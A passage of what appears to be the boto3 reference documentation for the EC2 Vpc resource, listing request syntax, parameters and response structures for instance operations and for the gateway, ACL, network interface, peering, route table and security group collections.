**Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = vpc.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = vpc.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = vpc.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = vpc.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = vpc.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = vpc.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +internet_gateways + +A collection of InternetGateway resources.A InternetGateway Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.all() + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +filter(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection filtered by kwargs passed to method.A InternetGateway collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.filter( + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +page_size(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +network_acls + +A collection of NetworkAcl resources.A NetworkAcl Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.all() + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +filter(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection filtered by kwargs passed to method.A NetworkAcl collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.filter( + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +page_size(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +requested_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +route_tables + +A collection of RouteTable resources.A RouteTable Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.all() + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +filter(kwargs_) + +Creates an iterable of all RouteTable resources in the collection filtered by kwargs passed to method.A RouteTable collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.filter( + DryRun=True|False, + RouteTableIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +page_size(kwargs_) + +Creates an iterable of all RouteTable resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +security_groups + +A collection of SecurityGroup resources.A SecurityGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.all() + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +filter(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection filtered by kwargs passed to method.A SecurityGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.filter( + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **GroupIds** (_list_) -- + + The IDs of the security 